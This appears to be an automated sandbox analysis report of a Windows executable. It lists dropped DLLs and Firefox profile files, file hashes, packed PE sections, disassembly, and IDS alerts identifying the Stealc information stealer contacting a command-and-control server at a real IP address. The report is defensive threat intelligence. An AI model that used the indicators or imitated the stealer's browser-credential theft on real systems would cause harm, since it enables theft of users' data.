Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948698350742085
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'866'752 bytes
MD5:	17c8d52f56941d59f429f7c7018a724f
SHA1:	49f80980e9613686002232de306764e88312adfc
SHA256:	8028e4730fde9674b5f2c4613c9ece728bcc61de8b486cfe38a78bd8d8e76b08
SHA512:	5b4c5c4b2219677d8d4e9059842852190bbc4c3c8e7b0ffa6c670e64e1dd9381c66986d3011fdaf61afdee4a144b0ab24b89053b0d0890c0e0ca18e110378a46
SSDEEP:	49152:myxJsVIUORhR94UGJHNHtnxdpy4/xocxzklhLIfmDOX7dCs:xbyBNNn/xz4lhgeO1
TLSH:	3585339B39B8E178D06E4770DF09D3B936DB1853A3ECDD152E82AE61993172FD688403
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F09F1035CBAh
cvtps2pd xmm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F09F1037CB5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	b1df93058e1ca0bac4babc6e6162ccac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a9000	0x200	86d438a2821d401633a8adabdb03c4c0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wsbvvvtf	0x507000	0x1a2000	0x1a1a00	6d5f346e9cc57bddcaa3a1f0b9874b3f	False	0.9947684778135288	data	7.953542217583365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xydwmbmy	0x6a9000	0x1000	0x400	25f7322dcaa7661c495c4dbf88abb0dd	False	0.798828125	data	6.231589142534439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	4ffbf08d3dd016f661f0680e06ff685d	False	0.062270220588235295	DOS executable (COM)	0.6874035728753721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T21:51:55.801594+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:51:56.132393+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:51:56.245412+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-09-25T21:51:56.494442+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:51:56.505200+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-09-25T21:51:57.489841+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:51:57.712974+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:03.680283+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:05.046652+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:05.948087+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:06.932543+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:11.018420+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-09-25T21:52:11.820566+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 21:51:54.491451979 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:54.760334015 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:54.760432959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:54.760765076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:54.765634060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:55.541199923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:55.541282892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:55.564630032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:55.569468975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:55.801501036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:55.801594019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:55.907799006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:55.912647009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.132278919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.132297039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.132392883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.227922916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.228085995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.240526915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.245412111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494069099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494119883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494155884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494188070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494229078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494298935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.494441986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.494441986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.497311115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.505199909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.723135948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.723227978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.743288040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.743340015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:56.748368025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748384953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748390913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748399019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748410940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748419046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:56.748425961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.489728928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.489840984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.490580082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.495477915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.712866068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.712910891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.712946892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.712974072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713028908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713032007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713083982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713223934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713258982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713315010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713330030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713500023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713563919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713623047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713654995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.713687897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713710070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.713973999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.714030027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.714449883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.714482069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.714513063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.714531898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.836986065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837049961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837114096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837151051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837167025 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837208033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837258101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837316036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837343931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837399006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837435007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837488890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837599039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837635040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837663889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837668896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.837687016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.837714911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.838346958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.838403940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.838445902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.838479996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.838501930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.838525057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.838654995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.838715076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.839200974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.839281082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.839293003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.839329004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.839349985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.839381933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.839561939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.839618921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.840022087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.840081930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.840111017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.840146065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.840171099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.840188980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.840354919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.840416908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.841008902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.841042042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.841073990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.841089964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.961519957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961580038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961657047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961719036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961760998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961803913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961848974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961857080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.961857080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.961884022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.961939096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962034941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962034941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962034941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962141991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962145090 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962203026 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962236881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962290049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962304115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962356091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962456942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962513924 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962517977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962568998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.962573051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.962665081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.963314056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.963376999 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.963413954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.963478088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.963505983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.963557005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:51:57.963566065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:51:57.963614941 CEST	49704	80	192.168.2.5	185.215.113.37
